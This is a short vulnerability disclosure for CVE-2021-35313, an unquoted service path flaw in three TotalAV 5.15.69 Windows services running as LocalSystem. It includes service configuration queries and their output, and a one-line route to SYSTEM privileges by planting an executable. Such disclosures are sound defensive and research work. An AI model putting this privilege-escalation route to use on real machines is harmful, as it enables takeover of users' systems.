TotalAV 5.15.69 Unquoted Service Path

`# Exploit Title: TotalAV - Unquoted Service Path  
# Date: 2021-09-22  
# Exploit Author: Andrea Intilangelo  
# Vendor Homepage: https://www.totalav.com  
# Software Link: https://download.totalav.com/windows/beta-trial or https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe  
# Version: 5.15.69  
# Tested on: Windows 10 Pro 20H2 and 21H1 x64  
# CVE: CVE-2021-35313  
  
The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service  
services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a  
user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible  
to place executable(s) following the path of the unquoted string.  
  
Affected excecutables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:  
  
PC Security Management Service SecurityService C:\Program Files (x86)\TotalAV\SecurityService.exe Auto  
PC Security Management Monitoring Service SecurityServiceMonitor C:\Program Files (x86)\TotalAV\SecurityService.exe --monitor Auto  
Anti-Malware SDK Protected Service AMSProtectedService C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe Auto  
  
C:\Users\user>sc qc SecurityService  
[SC] QueryServiceConfig OPERAZIONI RIUSCITE  
  
NOME_SERVIZIO: SecurityService  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_AVVIO : 2 AUTO_START  
CONTROLLO_ERRORE : 1 NORMAL  
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe  
GRUPPO_ORDINE_CARICAMENTO :  
TAG : 0  
NOME_VISUALIZZATO : PC Security Management Service  
DIPENDENZE :  
SERVICE_START_NAME : LocalSystem  
  
C:\Users\user>sc qc SecurityServiceMonitor  
[SC] QueryServiceConfig OPERAZIONI RIUSCITE  
  
NOME_SERVIZIO: SecurityServiceMonitor  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_AVVIO : 2 AUTO_START  
CONTROLLO_ERRORE : 1 NORMAL  
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe --monitor  
GRUPPO_ORDINE_CARICAMENTO :  
TAG : 0  
NOME_VISUALIZZATO : PC Security Management Monitoring Service  
DIPENDENZE :  
SERVICE_START_NAME : LocalSystem  
  
C:\Users\user>sc qc AMSProtectedService  
[SC] QueryServiceConfig OPERAZIONI RIUSCITE  
  
NOME_SERVIZIO: AMSProtectedService  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_AVVIO : 2 AUTO_START  
CONTROLLO_ERRORE : 1 NORMAL  
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe  
GRUPPO_ORDINE_CARICAMENTO :  
TAG : 0  
NOME_VISUALIZZATO : Anti-Malware SDK Protected Service  
DIPENDENZE :  
SERVICE_START_NAME : LocalSystem  
  
  
`